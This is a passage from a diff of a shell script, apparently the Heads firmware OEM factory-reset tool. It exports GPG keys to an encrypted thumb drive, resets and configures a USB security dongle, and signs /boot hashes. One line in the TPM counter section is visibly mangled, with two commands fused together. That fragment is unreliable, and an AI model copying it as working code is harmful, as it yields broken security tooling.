arguments + while [ $# -gt 0 ]; do + case "$1" in + --mode) + mode="$2" + shift + shift + ;; + --device) + device="$2" + shift + shift + ;; + --mountpoint) + mountpoint="$2" + shift + shift + ;; + --pass) + pass="${2}" + shift + shift + ;; + *) + die "Error: unknown argument: $1" + ;; + esac + done + + mount-usb --mode "$mode" --device "$device" --mountpoint "$mountpoint" --pass "$pass" || die "Error mounting thumb drive's private partition" + + #Export master key and subkeys to thumb drive + DEBUG "Exporting master key and subkeys to private LUKS container's partition..." + + gpg --export-secret-key --armor --pinentry-mode loopback --passphrase="${pass}" "${GPG_USER_MAIL}" >"$mountpoint"/privkey.sec || + die "Error exporting master key to private LUKS container's partition" + gpg --export-secret-subkeys --armor --pinentry-mode loopback --passphrase="${pass}" "${GPG_USER_MAIL}" >"$mountpoint"/subkeys.sec || + die "Error exporting subkeys to private LUKS container's partition" + #copy whole keyring to thumb drive, including revocation key and trust database + cp -af ~/.gnupg "$mountpoint"/.gnupg || die "Error copying whole keyring to private LUKS container's partition" + #Unmount private LUKS container's mount point + umount "$mountpoint" || die "Error unmounting private LUKS container's mount point" + + TRACE_FUNC } #Export public key to thumb drive's public partition export_public_key_to_thumbdrive_public_partition() { - TRACE_FUNC - - #Sanity check on passed arguments - while [ $# -gt 0 ]; do - case "$1" in - --mode) - mode="$2" - shift - shift - ;; - --device) - device="$2" - shift - shift - ;; - --mountpoint) - mountpoint="$2" - shift - shift - ;; - *) - die "Error: unknown argument: $1" - ;; - esac - done - - #pass non-empty arguments to --pass, --mountpoint, --device, --mode - mount-usb --device "$device" --mode "$mode" --mountpoint "$mountpoint" || die "Error mounting thumb drive's public partition" - #TODO: reuse "Obtain GPG key ID" so that pubkey on public thumb drive partition is named after key ID - gpg --export --armor "${GPG_USER_MAIL}" >"$mountpoint"/pubkey.asc || die "Error exporting public key to thumb drive's public partition" - umount "$mountpoint" || die "Error unmounting thumb drive's public partition" - - TRACE_FUNC + TRACE_FUNC + + #Sanity check on passed arguments + while [ $# -gt 0 ]; do + case "$1" in + --mode) + mode="$2" + shift + shift + ;; + --device) + device="$2" + shift + shift + ;; + --mountpoint) + mountpoint="$2" + shift + shift + ;; + *) + die "Error: unknown argument: $1" + ;; + esac + done + + #pass non-empty arguments to --pass, --mountpoint, --device, --mode + mount-usb --device "$device" --mode "$mode" --mountpoint "$mountpoint" || die "Error mounting thumb drive's public partition" + #TODO: reuse "Obtain GPG key ID" so that pubkey on public thumb drive partition is named after key ID + gpg --export --armor "${GPG_USER_MAIL}" >"$mountpoint"/pubkey.asc || die "Error exporting public key to thumb drive's public partition" + umount "$mountpoint" || die "Error unmounting thumb drive's public partition" + + TRACE_FUNC } # Select thumb drive and LUKS container size for GPG key export @@ -401,467 +401,467 @@ export_public_key_to_thumbdrive_public_partition() { # - thumb_drive # - thumb_drive_luks_percent select_thumb_drive_for_key_material() { - TRACE_FUNC - - #enable usb storage - enable_usb - enable_usb_storage - - prompt_insert_to_be_wiped_thumb_drive - - #loop until user chooses a disk - thumb_drive="" - while [ -z "$thumb_drive" ]; do - #list usb storage devices - list_usb_storage disks >/tmp/usb_disk_list - # Abort if: - # - no disks found (prevent file_selector's nonsense prompt) - # - file_selector fails for any reason - # - user aborts (file_selector succeeds but FILE is empty) - if [ $(cat /tmp/usb_disk_list | wc -l) -gt 0 ] && - file_selector --show-size "/tmp/usb_disk_list" "Select USB device to partition" && - [ -n "$FILE" ]; then - # Obtain size of thumb drive to be wiped with fdisk - disk_size_bytes="$(blockdev --getsize64 "$FILE")" - if [ "$disk_size_bytes" -lt "$((128*1024*1024))" ]; then - warn "Thumb drive size is less than 128MB!" - warn "LUKS container needs to be at least 8MB!" - warn "If the next operation fails, try with a bigger thumb drive" - fi - - select_luks_container_size_percent - thumb_drive_luks_percent="$(cat /tmp/luks_container_size_percent)" - - if ! confirm_thumb_drive_format "$FILE" "$thumb_drive_luks_percent"; then - warn "Thumb drive wipe aborted by user!" - continue - fi - - #User chose and confirmed a thumb drive and its size to be wiped - thumb_drive=$FILE - else - #No USB storage device detected - warn "No USB storage device detected! Aborting OEM Factory Reset / Re-Ownership" - sleep 3 - die "No USB storage device detected! User decided to not wipe any thumb drive" - fi - done - thumb_drive_luks_percent="$(cat /tmp/luks_container_size_percent)" + TRACE_FUNC + + #enable usb storage + enable_usb + enable_usb_storage + + prompt_insert_to_be_wiped_thumb_drive + + #loop until user chooses a disk + thumb_drive="" + while [ -z "$thumb_drive" ]; do + #list usb storage devices + list_usb_storage disks >/tmp/usb_disk_list + # Abort if: + # - no disks found (prevent file_selector's nonsense prompt) + # - file_selector fails for any reason + # - user aborts (file_selector succeeds but FILE is empty) + if [ $(cat /tmp/usb_disk_list | wc -l) -gt 0 ] && + file_selector --show-size "/tmp/usb_disk_list" "Select USB device to partition" && + [ -n "$FILE" ]; then + # Obtain size of thumb drive to be wiped with fdisk + disk_size_bytes="$(blockdev --getsize64 "$FILE")" + if [ "$disk_size_bytes" -lt "$((128 * 1024 * 1024))" ]; then + warn "Thumb drive size is less than 128MB!" + warn "LUKS container needs to be at least 8MB!" + warn "If the next operation fails, try with a bigger thumb drive" + fi + + select_luks_container_size_percent + thumb_drive_luks_percent="$(cat /tmp/luks_container_size_percent)" + + if ! confirm_thumb_drive_format "$FILE" "$thumb_drive_luks_percent"; then + warn "Thumb drive wipe aborted by user!" + continue + fi + + #User chose and confirmed a thumb drive and its size to be wiped + thumb_drive=$FILE + else + #No USB storage device detected + warn "No USB storage device detected! Aborting OEM Factory Reset / Re-Ownership" + sleep 3 + die "No USB storage device detected! User decided to not wipe any thumb drive" + fi + done + thumb_drive_luks_percent="$(cat /tmp/luks_container_size_percent)" } #Wipe a thumb drive and export master key and subkeys to it # $1 - thumb drive block device # $2 - LUKS container percentage [1-99] wipe_thumb_drive_and_copy_gpg_key_material() { - TRACE_FUNC + TRACE_FUNC - local thumb_drive thumb_drive_luks_percent - thumb_drive="$1" - thumb_drive_luks_percent="$2" + local thumb_drive thumb_drive_luks_percent + thumb_drive="$1" + thumb_drive_luks_percent="$2" - #Wipe thumb drive with a LUKS container of size $(cat /tmp/luks_container_size_percent) - prepare_thumb_drive "$thumb_drive" "$thumb_drive_luks_percent" "${ADMIN_PIN}" - #Export master key and subkeys to thumb drive first partition - export_master_key_subkeys_and_revocation_key_to_private_LUKS_container --mode rw --device "$thumb_drive"1 --mountpoint /media --pass "${ADMIN_PIN}" - #Export public key to thumb drive's public partition - export_public_key_to_thumbdrive_public_partition --mode rw --device "$thumb_drive"2 --mountpoint /media + #Wipe thumb drive with a LUKS container of size $(cat /tmp/luks_container_size_percent) + prepare_thumb_drive "$thumb_drive" "$thumb_drive_luks_percent" "${ADMIN_PIN}" + #Export master key and subkeys to thumb drive first partition + export_master_key_subkeys_and_revocation_key_to_private_LUKS_container --mode rw --device "$thumb_drive"1 --mountpoint /media --pass "${ADMIN_PIN}" + #Export public key to thumb drive's public partition + export_public_key_to_thumbdrive_public_partition --mode rw --device "$thumb_drive"2 --mountpoint /media - TRACE_FUNC + TRACE_FUNC } gpg_key_factory_reset() { - TRACE_FUNC - - #enable usb storage - enable_usb - - # Factory reset GPG card - echo "GPG factory reset of USB Security Dongle's smartcard..." - { - echo admin # admin menu - echo factory-reset # factory reset smartcard - echo y # confirm - echo yes # confirm - } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --card-edit \ - >/tmp/gpg_card_edit_output 2>&1 - if [ $? -ne 0 ]; then - ERROR=$(cat /tmp/gpg_card_edit_output) - whiptail_error_die "GPG Key factory reset failed!\n\n$ERROR" - fi - # If Nitrokey Storage is inserted, reset AES keys as well - if lsusb | grep -q "20a0:4109" && [ -x /bin/hotp_verification ]; then - DEBUG "Nitrokey Storage detected, resetting AES keys..." - /bin/hotp_verification regenerate ${ADMIN_PIN_DEF} - DEBUG "Restarting scdaemon to remove possible exclusive lock of dongle" - killall -9 scdaemon - fi - # Toggle forced sig (good security practice, forcing PIN request for each signature request) - if gpg --card-status | grep "Signature PIN" | grep -q "not forced"; then - DEBUG "GPG toggling forcesig on since off..." - { - echo admin # admin menu - echo forcesig # toggle forcesig - echo ${ADMIN_PIN_DEF} # local keyring PIN - } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --card-edit \ - >/tmp/gpg_card_edit_output 2>&1 - if [ $? -ne 0 ]; then - ERROR=$(cat /tmp/gpg_card_edit_output) - whiptail_error_die "GPG Key forcesig toggle on failed!\n\n$ERROR" - fi - fi - # use p256 for key generation if requested - if [ "$GPG_ALGO" = "p256" ]; then - { - echo admin # admin menu - echo key-attr # key attributes - echo 2 # ECC - echo 3 # P-256 - echo ${ADMIN_PIN_DEF} # local keyring PIN - echo 2 # ECC - echo 3 # P-256 - echo ${ADMIN_PIN_DEF} # local keyring PIN - echo 2 # ECC - echo 3 # P-256 - echo ${ADMIN_PIN_DEF} # local keyring PIN - } | DO_WITH_DEBUG gpg --expert --command-fd=0 --status-fd=1 --pinentry-mode=loopback --card-edit \ - >/tmp/gpg_card_edit_output 2>&1 - if [ $? -ne 0 ]; then - ERROR=$(cat /tmp/gpg_card_edit_output) - whiptail_error_die "Setting key to NIST-P256 in USB Security Dongle failed." - fi - # fallback to RSA key generation by default - elif [ "$GPG_ALGO" = "RSA" ]; then - DEBUG "GPG setting RSA key length to ${RSA_KEY_LENGTH} bits..." - # Set RSA key length - { - echo admin - echo key-attr - echo 1 # RSA - echo ${RSA_KEY_LENGTH} #Signing key size set to RSA_KEY_LENGTH - echo ${ADMIN_PIN_DEF} #Local keyring PIN - echo 1 # RSA - echo ${RSA_KEY_LENGTH} #Encryption key size set to RSA_KEY_LENGTH - echo ${ADMIN_PIN_DEF} #Local keyring PIN - echo 1 # RSA - echo ${RSA_KEY_LENGTH} #Authentication key size set to RSA_KEY_LENGTH - echo ${ADMIN_PIN_DEF} #Local keyring PIN - } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --card-edit \ - >/tmp/gpg_card_edit_output 2>&1 - if [ $? -ne 0 ]; then - ERROR=$(cat /tmp/gpg_card_edit_output) - whiptail_error_die "Setting key attributed to RSA ${RSA_KEY_LENGTH} bits in USB Security Dongle failed." - fi - else - #Unknown GPG_ALGO - whiptail_error_die "Unknown GPG_ALGO: $GPG_ALGO" - fi - - TRACE_FUNC + TRACE_FUNC + + #enable usb storage + enable_usb + + # Factory reset GPG card + echo "GPG factory reset of USB Security Dongle's smartcard..." + { + echo admin # admin menu + echo factory-reset # factory reset smartcard + echo y # confirm + echo yes # confirm + } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --card-edit \ + >/tmp/gpg_card_edit_output 2>&1 + if [ $? -ne 0 ]; then + ERROR=$(cat /tmp/gpg_card_edit_output) + whiptail_error_die "GPG Key factory reset failed!\n\n$ERROR" + fi + # If Nitrokey Storage is inserted, reset AES keys as well + if lsusb | grep -q "20a0:4109" && [ -x /bin/hotp_verification ]; then + DEBUG "Nitrokey Storage detected, resetting AES keys..." + /bin/hotp_verification regenerate ${ADMIN_PIN_DEF} + DEBUG "Restarting scdaemon to remove possible exclusive lock of dongle" + killall -9 scdaemon + fi + # Toggle forced sig (good security practice, forcing PIN request for each signature request) + if gpg --card-status | grep "Signature PIN" | grep -q "not forced"; then + DEBUG "GPG toggling forcesig on since off..." + { + echo admin # admin menu + echo forcesig # toggle forcesig + echo ${ADMIN_PIN_DEF} # local keyring PIN + } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --card-edit \ + >/tmp/gpg_card_edit_output 2>&1 + if [ $? -ne 0 ]; then + ERROR=$(cat /tmp/gpg_card_edit_output) + whiptail_error_die "GPG Key forcesig toggle on failed!\n\n$ERROR" + fi + fi + # use p256 for key generation if requested + if [ "$GPG_ALGO" = "p256" ]; then + { + echo admin # admin menu + echo key-attr # key attributes + echo 2 # ECC + echo 3 # P-256 + echo ${ADMIN_PIN_DEF} # local keyring PIN + echo 2 # ECC + echo 3 # P-256 + echo ${ADMIN_PIN_DEF} # local keyring PIN + echo 2 # ECC + echo 3 # P-256 + echo ${ADMIN_PIN_DEF} # local keyring PIN + } | DO_WITH_DEBUG gpg --expert --command-fd=0 --status-fd=1 --pinentry-mode=loopback --card-edit \ + >/tmp/gpg_card_edit_output 2>&1 + if [ $? -ne 0 ]; then + ERROR=$(cat /tmp/gpg_card_edit_output) + whiptail_error_die "Setting key to NIST-P256 in USB Security Dongle failed." + fi + # fallback to RSA key generation by default + elif [ "$GPG_ALGO" = "RSA" ]; then + DEBUG "GPG setting RSA key length to ${RSA_KEY_LENGTH} bits..." + # Set RSA key length + { + echo admin + echo key-attr + echo 1 # RSA + echo ${RSA_KEY_LENGTH} #Signing key size set to RSA_KEY_LENGTH + echo ${ADMIN_PIN_DEF} #Local keyring PIN + echo 1 # RSA + echo ${RSA_KEY_LENGTH} #Encryption key size set to RSA_KEY_LENGTH + echo ${ADMIN_PIN_DEF} #Local keyring PIN + echo 1 # RSA + echo ${RSA_KEY_LENGTH} #Authentication key size set to RSA_KEY_LENGTH + echo ${ADMIN_PIN_DEF} #Local keyring PIN + } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --card-edit \ + >/tmp/gpg_card_edit_output 2>&1 + if [ $? -ne 0 ]; then + ERROR=$(cat /tmp/gpg_card_edit_output) + whiptail_error_die "Setting key attributed to RSA ${RSA_KEY_LENGTH} bits in USB Security Dongle failed." + fi + else + #Unknown GPG_ALGO + whiptail_error_die "Unknown GPG_ALGO: $GPG_ALGO" + fi + + TRACE_FUNC } generate_OEM_gpg_keys() { - TRACE_FUNC - - #This function simply generates subkeys in smartcard following smarcard config from gpg_key_factory_reset - echo "Generating GPG keys in USB Security Dongle's smartcard..." - { - echo admin # admin menu - echo generate # generate keys - echo n # Do not export keys - echo ${ADMIN_PIN_DEF} # Default admin PIN since we just factory reset - echo ${USER_PIN_DEF} # Default user PIN since we just factory reset - echo 0 # No key expiration - echo ${GPG_USER_NAME} # User name - echo ${GPG_USER_MAIL} # User email - echo ${GPG_USER_COMMENT} # User comment - echo ${USER_PIN_DEF} # Default user PIN since we just factory reset - } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=2 --pinentry-mode=loopback --card-edit \ - >/tmp/gpg_card_edit_output 2>&1 - if [ $? -ne 0 ]; then - ERROR=$(cat /tmp/gpg_card_edit_output) - whiptail_error_die "GPG Key automatic keygen failed!\n\n$ERROR" - fi - - TRACE_FUNC + TRACE_FUNC + + #This function simply generates subkeys in smartcard following smarcard config from gpg_key_factory_reset + echo "Generating GPG keys in USB Security Dongle's smartcard..." + { + echo admin # admin menu + echo generate # generate keys + echo n # Do not export keys + echo ${ADMIN_PIN_DEF} # Default admin PIN since we just factory reset + echo ${USER_PIN_DEF} # Default user PIN since we just factory reset + echo 0 # No key expiration + echo ${GPG_USER_NAME} # User name + echo ${GPG_USER_MAIL} # User email + echo ${GPG_USER_COMMENT} # User comment + echo ${USER_PIN_DEF} # Default user PIN since we just factory reset + } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=2 --pinentry-mode=loopback --card-edit \ + >/tmp/gpg_card_edit_output 2>&1 + if [ $? -ne 0 ]; then + ERROR=$(cat /tmp/gpg_card_edit_output) + whiptail_error_die "GPG Key automatic keygen failed!\n\n$ERROR" + fi + + TRACE_FUNC } gpg_key_change_pin() { - TRACE_FUNC - DEBUG "Changing GPG key PIN" - # 1 = user PIN, 3 = admin PIN - PIN_TYPE=$1 - PIN_ORIG=${2} - PIN_NEW=${3} - # Change PIN - { - echo admin # admin menu - echo passwd # change PIN - echo ${PIN_TYPE} # 1 = user PIN, 3 = admin PIN - echo ${PIN_ORIG} # old PIN - echo ${PIN_NEW} # new PIN - echo ${PIN_NEW} # confirm new PIN - echo q # quit - echo q - } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=2 --pinentry-mode=loopback --card-edit \ - >/tmp/gpg_card_edit_output 2>&1 - if [ $? -ne 0 ]; then - ERROR=$(cat /tmp/gpg_card_edit_output | fold -s) - whiptail_error_die "GPG Key PIN change failed!\n\n$ERROR" - fi - - TRACE_FUNC + TRACE_FUNC + DEBUG "Changing GPG key PIN" + # 1 = user PIN, 3 = admin PIN + PIN_TYPE=$1 + PIN_ORIG=${2} + PIN_NEW=${3} + # Change PIN + { + echo admin # admin menu + echo passwd # change PIN + echo ${PIN_TYPE} # 1 = user PIN, 3 = admin PIN + echo ${PIN_ORIG} # old PIN + echo ${PIN_NEW} # new PIN + echo ${PIN_NEW} # confirm new PIN + echo q # quit + echo q + } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=2 --pinentry-mode=loopback --card-edit \ + >/tmp/gpg_card_edit_output 2>&1 + if [ $? -ne 0 ]; then + ERROR=$(cat /tmp/gpg_card_edit_output | fold -s) + whiptail_error_die "GPG Key PIN change failed!\n\n$ERROR" + fi + + TRACE_FUNC } generate_checksums() { - TRACE_FUNC - - # ensure /boot mounted - if ! grep -q /boot /proc/mounts; then - mount -o rw /boot || whiptail_error_die "Unable to mount /boot" - else - mount -o remount,rw /boot || whiptail_error_die "Unable to mount /boot" - fi - - #Check if previous LUKS TPM Disk Unlock Key was set - if [ -e /boot/kexec_key_devices.txt ]; then - TPM_DISK_ENCRYPTION_KEY_SET=1 - fi - - # clear any existing checksums/signatures - rm /boot/kexec* 2>/dev/null - - # create Heads TPM counter - if [ "$CONFIG_TPM" = "y" ]; then - if [ "$CONFIG_IGNORE_ROLLBACK" != "y" ]; then - tpmr counter_create \ - -pwdc '' \ - -la -3135106223 | - tee /tmp/counter || - whiptail_error_die "Unable to create TPM counter" - TPM_COUNTER=$(cut -d: -f1 /dev/null 2>&1 || - whiptail_error_die "Unable to increment tpm counter" - - # create rollback file - sha256sum /tmp/counter-$TPM_COUNTER >/boot/kexec_rollback.txt 2>/dev/null || - whiptail_error_die "Unable to create rollback file" - else - ## needs to exist for initial call to unseal-hotp - echo "0" >/boot/kexec_hotp_counter - fi - fi - - # set default boot option only if no LUKS TPM Disk Unlock Key previously set - if [ -z "$TPM_DISK_ENCRYPTION_KEY_SET" ]; then - set_default_boot_option - fi - - DEBUG "Generating hashes" - ( - set -e -o pipefail - cd /boot - find ./ -type f ! -path './kexec*' -print0 | - xargs -0 sha256sum >/boot/kexec_hashes.txt 2>/dev/null - print_tree >/boot/kexec_tree.txt - ) - [ $? -eq 0 ] || whiptail_error_die "Error generating kexec hashes" - - param_files=$(find /boot/kexec*.txt) - [ -z "$param_files" ] && - whiptail_error_die "No kexec parameter files to sign" - - if [ "$GPG_GEN_KEY_IN_MEMORY" = "y" -a "$GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD" = "n" ]; then - #The local keyring used to generate in memory subkeys is still valid since no key has been moved to smartcard - #Local keyring passwd is ADMIN_PIN. We need to set USER_PIN to ADMIN_PIN to be able to sign next in this boot session - DEBUG "Setting GPG User PIN to GPG Admin PIN so local keyring can be used to detach-sign kexec files next" - USER_PIN=$ADMIN_PIN - fi - - DEBUG "Detach-signing boot files under kexec.sig: ${param_files}" - if sha256sum $param_files 2>/dev/null | DO_WITH_DEBUG --mask-position 4 gpg \ - --pinentry-mode loopback \ - --passphrase "${USER_PIN}" \ - --digest-algo SHA256 \ - --detach-sign \ - -a \ - >/boot/kexec.sig 2>/tmp/error; then - # successful - update the validated params - if ! check_config /boot >/dev/null 2>/tmp/error; then - cat /tmp/error - ret=1 - else - ret=0 - fi - else - cat /tmp/error - ret=1 - fi - - # done writing to /boot, switch back to RO - mount -o ro,remount /boot - - if [ $ret = 1 ]; then - ERROR=$(tail -n 1 /tmp/error | fold -s) - whiptail_error_die "Error signing kexec boot files:\n\n$ERROR" - fi - - TRACE_FUNC + TRACE_FUNC + + # ensure /boot mounted + if ! grep -q /boot /proc/mounts; then + mount -o rw /boot || whiptail_error_die "Unable to mount /boot" + else + mount -o remount,rw /boot || whiptail_error_die "Unable to mount /boot" + fi + + #Check if previous LUKS TPM Disk Unlock Key was set + if [ -e /boot/kexec_key_devices.txt ]; then + TPM_DISK_ENCRYPTION_KEY_SET=1 + fi + + # clear any existing checksums/signatures + rm /boot/kexec* 2>/dev/null + + # create Heads TPM counter + if [ "$CONFIG_TPM" = "y" ]; then + if [ "$CONFIG_IGNORE_ROLLBACK" != "y" ]; then + tpmr counter_create \ + -pwdc '' \ + -la -3135106223 | + tee /tmp/counter || + whiptail_error_die "Unable to create TPM counter" + TPM_COUNTER=$(cut -d: -f1 /dev/null 2>&1 || + whiptail_error_die "Unable to increment tpm counter" + + # create rollback file + sha256sum /tmp/counter-$TPM_COUNTER >/boot/kexec_rollback.txt 2>/dev/null || + whiptail_error_die "Unable to create rollback file" + else + ## needs to exist for initial call to unseal-hotp + echo "0" >/boot/kexec_hotp_counter + fi + fi + + # set default boot option only if no LUKS TPM Disk Unlock Key previously set + if [ -z "$TPM_DISK_ENCRYPTION_KEY_SET" ]; then + set_default_boot_option + fi + + DEBUG "Generating hashes" + ( + set -e -o pipefail + cd /boot + find ./ -type f ! -path './kexec*' -print0 | + xargs -0 sha256sum >/boot/kexec_hashes.txt 2>/dev/null + print_tree >/boot/kexec_tree.txt + ) + [ $? -eq 0 ] || whiptail_error_die "Error generating kexec hashes" + + param_files=$(find /boot/kexec*.txt) + [ -z "$param_files" ] && + whiptail_error_die "No kexec parameter files to sign" + + if [ "$GPG_GEN_KEY_IN_MEMORY" = "y" -a "$GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD" = "n" ]; then + #The local keyring used to generate in memory subkeys is still valid since no key has been moved to smartcard + #Local keyring passwd is ADMIN_PIN. We need to set USER_PIN to ADMIN_PIN to be able to sign next in this boot session + DEBUG "Setting GPG User PIN to GPG Admin PIN so local keyring can be used to detach-sign kexec files next" + USER_PIN=$ADMIN_PIN + fi + + DEBUG "Detach-signing boot files under kexec.sig: ${param_files}" + if sha256sum $param_files 2>/dev/null | DO_WITH_DEBUG gpg \ + --pinentry-mode loopback \ + --passphrase "${USER_PIN}" \ + --digest-algo SHA256 \ + --detach-sign \ + -a \ + >/boot/kexec.sig 2>/tmp/error; then + # successful - update the validated params + if ! check_config /boot >/dev/null 2>/tmp/error; then + cat /tmp/error + ret=1 + else + ret=0 + fi + else + cat /tmp/error + ret=1 + fi + + # done writing to /boot, switch back to RO + mount -o ro,remount /boot + + if [ $ret = 1 ]; then + ERROR=$(tail -n 1 /tmp/error | fold -s) + whiptail_error_die "Error signing kexec boot files:\n\n$ERROR" + fi + + TRACE_FUNC } set_default_boot_option() { - TRACE_FUNC - - option_file="/tmp/kexec_options.txt" - tmp_menu_file="/tmp/kexec/kexec_menu.txt" - hash_file="/boot/kexec_default_hashes.txt" - - mkdir -p /tmp/kexec/ - rm $option_file 2>/dev/null - # parse boot options from grub.cfg - for i in $(find /boot -name "grub.cfg"); do - kexec-parse-boot "/boot" "$i" >>$option_file - done - # FC29/30+ may use BLS format grub config files - # https://fedoraproject.org/wiki/Changes/BootLoaderSpecByDefault - # only parse these if $option_file is still empty - if [ ! -s $option_file ] && [ -d "/boot/loader/entries" ]; then - for i in $(find /boot -name "grub.cfg"); do - kexec-parse-bls "/boot" "$i" "/boot/loader/entries" >>$option_file - done - fi - [ ! -s $option_file ] && - whiptail_error_die "Failed to parse any boot options" - - # sort boot options - sort -r $option_file | uniq >$tmp_menu_file - - ## save first option as default - entry=$(head -n 1 $tmp_menu_file | tail -1) - - # clear existing default configs - rm "/boot/kexec_default.*.txt" 2>/dev/null - - # get correct index for entry - index=$(grep -n "$entry" $option_file | cut -f1 -d ':') - - # write new config - echo "$entry" >/boot/kexec_default.$index.txt - - # validate boot option - (cd /boot && /bin/kexec-boot -b "/boot" -e "$entry" -f | - xargs sha256sum >$hash_file 2>/dev/null) || - whiptail_error_die "Failed to create hashes of boot files" - - TRACE_FUNC + TRACE_FUNC + + option_file="/tmp/kexec_options.txt" + tmp_menu_file="/tmp/kexec/kexec_menu.txt" + hash_file="/boot/kexec_default_hashes.txt" + + mkdir -p /tmp/kexec/ + rm $option_file 2>/dev/null + # parse boot options from grub.cfg + for i in $(find /boot -name "grub.cfg"); do + kexec-parse-boot "/boot" "$i" >>$option_file + done + # FC29/30+ may use BLS format grub config files + # https://fedoraproject.org/wiki/Changes/BootLoaderSpecByDefault + # only parse these if $option_file is still empty + if [ ! -s $option_file ] && [ -d "/boot/loader/entries" ]; then + for i in $(find /boot -name "grub.cfg"); do + kexec-parse-bls "/boot" "$i" "/boot/loader/entries" >>$option_file + done + fi + [ ! -s $option_file ] && + whiptail_error_die "Failed to parse any boot options" + + # sort boot options + sort -r $option_file | uniq >$tmp_menu_file + + ## save first option as default + entry=$(head -n 1 $tmp_menu_file | tail -1) + + # clear existing default configs + rm "/boot/kexec_default.*.txt" 2>/dev/null + + # get correct index for entry + index=$(grep -n "$entry" $option_file | cut -f1 -d ':') + + # write new config + echo "$entry" >/boot/kexec_default.$index.txt + + # validate boot option + (cd /boot && /bin/kexec-boot -b "/boot" -e "$entry" -f | + xargs sha256sum >$hash_file 2>/dev/null) || + whiptail_error_die "Failed to create hashes of boot files" + + TRACE_FUNC } report_integrity_measurements() { - TRACE_FUNC - - #check for GPG key in keyring - GPG_KEY_COUNT=$(gpg -k 2>/dev/null | wc -l) - if [ "$GPG_KEY_COUNT" -ne 0 ]; then - # Check and report TOTP - # update the TOTP code every thirty seconds - date=$(date "+%Y-%m-%d %H:%M:%S %Z") - seconds=$(date "+%s") - half=$(expr \( "$seconds" % 60 \) / 30) - if [ "$CONFIG_TPM" != "y" ]; then - TOTP="NO TPM" - elif [ "$half" != "$last_half" ]; then - last_half=$half - TOTP=$(unseal-totp) >/dev/null 2>&1 - fi - - # Check and report on HOTP status - if [ -x /bin/hotp_verification ]; then - HOTP="Unverified" - enable_usb - for attempt in 1 2 3; do - if ! hotp_verification info >/dev/null 2>&1; then - whiptail_warning --title "WARNING: Please insert your HOTP enabled USB Security Dongle (Attempt $attempt/3)" --msgbox "Your HOTP enabled USB Security Dongle was not detected.\n\nPlease remove it and insert it again." 0 80 - else - break - fi - done - - if [ $attempt -eq 3 ]; then - die "No HOTP enabled USB Security Dongle detected. Please disable 'CONFIG_HOTPKEY' in the board config and rebuild." - fi - - # Don't output HOTP codes to screen, so as to make replay attacks harder - HOTP=$(unseal-hotp) >/dev/null 2>&1 - hotp_verification check $HOTP - case "$?" in - 0) - HOTP="Success" - ;; - 4) - HOTP="Invalid code" - BG_COLOR_MAIN_MENU="error" - ;; - *) - HOTP="Error checking code, Insert USB Security Dongle and retry" - BG_COLOR_MAIN_MENU="warning" - ;; - esac - else - HOTP='N/A' - fi - # Check for detached signed digest and report on /boot integrity status - check_config /boot force - TMP_HASH_FILE="/tmp/kexec/kexec_hashes.txt" - - if (cd /boot && sha256sum -c "$TMP_HASH_FILE" >/tmp/hash_output); then - HASH="OK" - else - HASH="ALTERED" - fi - - #Show results - whiptail_type $BG_COLOR_MAIN_MENU --title "Measured Integrity Report" --msgbox "$date\nTOTP: $TOTP | HOTP: $HOTP\n/BOOT INTEGRITY: $HASH\n\nPress OK to continue or Ctrl+Alt+Delete to reboot" 0 80 - fi - - TRACE_FUNC + TRACE_FUNC + + #check for GPG key in keyring + GPG_KEY_COUNT=$(gpg -k 2>/dev/null | wc -l) + if [ "$GPG_KEY_COUNT" -ne 0 ]; then + # Check and report TOTP + # update the TOTP code every thirty seconds + date=$(date "+%Y-%m-%d %H:%M:%S %Z") + seconds=$(date "+%s") + half=$(expr \( "$seconds" % 60 \) / 30) + if [ "$CONFIG_TPM" != "y" ]; then + TOTP="NO TPM" + elif [ "$half" != "$last_half" ]; then + last_half=$half + TOTP=$(unseal-totp) >/dev/null 2>&1 + fi + + # Check and report on HOTP status + if [ -x /bin/hotp_verification ]; then + HOTP="Unverified" + enable_usb + for attempt in 1 2 3; do + if ! hotp_verification info >/dev/null 2>&1; then + whiptail_warning --title "WARNING: Please insert your HOTP enabled USB Security Dongle (Attempt $attempt/3)" --msgbox "Your HOTP enabled USB Security Dongle was not detected.\n\nPlease remove it and insert it again." 0 80 + else + break + fi + done + + if [ $attempt -eq 3 ]; then + die "No HOTP enabled USB Security Dongle detected. Please disable 'CONFIG_HOTPKEY' in the board config and rebuild." + fi + + # Don't output HOTP codes to screen, so as to make replay attacks harder + HOTP=$(unseal-hotp) >/dev/null 2>&1 + hotp_verification check $HOTP + case "$?" in + 0) + HOTP="Success" + ;; + 4) + HOTP="Invalid code" + BG_COLOR_MAIN_MENU="error" + ;; + *) + HOTP="Error checking code, Insert USB Security Dongle and retry" + BG_COLOR_MAIN_MENU="warning" + ;; + esac + else + HOTP='N/A' + fi + # Check for detached signed digest and report on /boot integrity status + check_config /boot force + TMP_HASH_FILE="/tmp/kexec/kexec_hashes.txt" + + if (cd /boot && sha256sum -c "$TMP_HASH_FILE" >/tmp/hash_output); then + HASH="OK" + else + HASH="ALTERED" + fi + + #Show results + whiptail_type $BG_COLOR_MAIN_MENU --title "Measured Integrity Report" --msgbox "$date\nTOTP: $TOTP | HOTP: $HOTP\n/BOOT INTEGRITY: $HASH\n\nPress OK to continue or Ctrl+Alt+Delete to reboot" 0 80 + fi + + TRACE_FUNC } usb_security_token_capabilities_check() { - TRACE_FUNC - - enable_usb - # ... first set board config preference - if [ -n "$CONFIG_GPG_ALGO" ]; then - GPG_ALGO=$CONFIG_GPG_ALGO - DEBUG "Setting GPG_ALGO to (board-)configured: $CONFIG_GPG_ALGO" - fi - # ... overwrite with usb-token capability - if lsusb | grep -q "20a0:42b2"; then - GPG_ALGO="p256" - DEBUG "Nitrokey 3 detected: 